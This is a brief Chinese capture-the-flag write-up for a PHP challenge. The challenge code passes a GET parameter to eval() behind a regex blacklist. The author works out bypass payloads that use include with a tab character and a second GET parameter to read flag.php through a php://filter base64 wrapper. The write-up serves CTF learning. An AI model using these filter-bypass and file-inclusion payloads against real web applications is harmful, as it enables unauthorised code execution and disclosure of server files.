解题思路※
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 04:21:16
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}多了个0-9,然后和=被屏蔽了
?c=require%09$_GET[1]?>&1=php://filter/convert.base64-encode/resource=test.php我们尝试这个参数,然后发现,这个参数里面的php:的: //已经被匹配了,因此这个我们也无法使用了,那么我们就尝试一下使用伪协议

发现也无法,,然后我们最后其实发现,参数1也是不可用的,改成别的就可以
?c=include%09$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php